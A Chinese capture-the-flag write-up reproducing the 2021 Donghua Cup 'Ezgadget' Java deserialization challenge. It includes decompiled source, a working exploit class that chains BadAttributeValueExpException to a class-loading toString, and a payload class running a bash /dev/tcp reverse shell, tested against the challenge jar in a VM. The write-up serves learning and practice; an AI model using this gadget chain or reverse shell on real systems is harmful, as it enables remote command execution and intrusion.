2021东华杯Ezgadget复现
前言
东华杯去年打进决赛了,但那时候基本上我都是打misc,也不懂Java,最近学了一些Java的知识,就来复现一下这个题目,算是炒冷饭了,话不多说,进入正题。
复现过程
题目给了一个jar包(下载地址放在文章末),使用jd-gui
反编译看一下源码。
IndexController: 网站首页,有一个readobject
路由,接收一个data参数,然后将data的值进行base64解码,然后将其变为一个对象流,读取一个UTF和一个Int,如果满足name.equals("gadgets") && year == 2021
即触发反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import com.ezgame.ctf.tools.Tools; import java.io.ByteArrayInputStream; import java.io.InputStream; import java.io.ObjectInputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody;
@Controller public class IndexController { @ResponseBody @RequestMapping({"/"}) public String index(HttpServletRequest request, HttpServletResponse response) { return "index"; } @ResponseBody @RequestMapping({"/readobject"}) public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception { byte[] b = Tools.base64Decode(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("gadgets") && year == 2021) objectInputStream.readObject(); return "welcome bro."; } }
|
User: 一个常见的JavaBean
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| mport java.io.Serializable;
public class User implements Serializable { private String UserName;
private String PassWord;
public String getUserName() { return this.UserName; }
public void setUserName(String userName) { this.UserName = userName; }
public String getPassWord() { return this.PassWord; }
public void setPassWord(String passWord) { this.PassWord = passWord; }
public String toString() { return "User{UserName='" + this.UserName + '\'' + ", PassWord='" + this.PassWord + '\'' + '}'; } }
|
Tools: 定义了Base64的加解密以及序列化和反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.Base64;
public class Tools { public static byte[] base64Decode(String base64) { Base64.Decoder decoder = Base64.getDecoder(); return decoder.decode(base64); }
public static String base64Encode(byte[] bytes) { Base64.Encoder encoder = Base64.getEncoder(); return encoder.encodeToString(bytes); }
public static byte[] serialize(Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); }
public static Object deserialize(byte[] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(btin); return objIn.readObject(); } }
|
ToStringBean: 继承了ClassLoader,为了能调用defineClass,从而动态加载一个类,将这个类实例化从而达到命令执行。这里只要能调用toString
就能加载我们传入的恶意字节码,其中ClassByte就是我们要传入的恶意字节码,由于是私有的,所以只能通过反射来进行赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import java.io.Serializable;
public class ToStringBean extends ClassLoader implements Serializable { private byte[] ClassByte;
public String toString() { com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean(); Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length); Object Obj = null; try { Obj = clazz.newInstance(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } return "enjoy it."; } }
|
整个过程的一个逻辑就是readobject
路由对data参数进行反序列化,而toStringBean
类重写了toString
方法。然后BadAttributeValueExpException
类的readobject方法中调用了val
的toString()
方法,val
可以传入toStringBean
,从而在调用BadAttributeValueExpException
的readobject
的时候调用的toStringBean
的toString()
方法。
所以可以从BadAttributeValueExpException.readobject
-> toStringBean.toString
-> defineClass+newInstance()
。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package com.ezgame.ctf; import com.ezgame.ctf.tools.ToStringBean; import com.ezgame.ctf.tools.Tools;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class Exp { public static void main(String[] args) throws Exception{ ToStringBean toStringBean = new ToStringBean(); Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte"); classByteField.setAccessible(true); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Ezgadget\\target\\classes\\com\\ezgame\\ctf\\payload.class")); classByteField.set(toStringBean,bytes);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123123); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,toStringBean);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("gadgets"); objectOutputStream.writeInt(2021); objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = byteArrayOutputStream.toByteArray(); String s = Tools.base64Encode(bytes1); System.out.println(s);
} }
|
恶意字节码
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com.ezgame.ctf;
import java.io.IOException;
public class payload { static { try { Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/127.0.0.1/7777 0>&1"}); } catch (IOException e) { e.printStackTrace(); } } }
|
我把jar包放虚拟机上,把环境跑起来,尝试反弹shell

因为base64编码出来的payload有+号,而处理的时候会当作空格引发报错,所以要进行url编码


成功反弹shell,原先在le1a目录,收到了来自桌面的反弹shell
题目附件:点击下载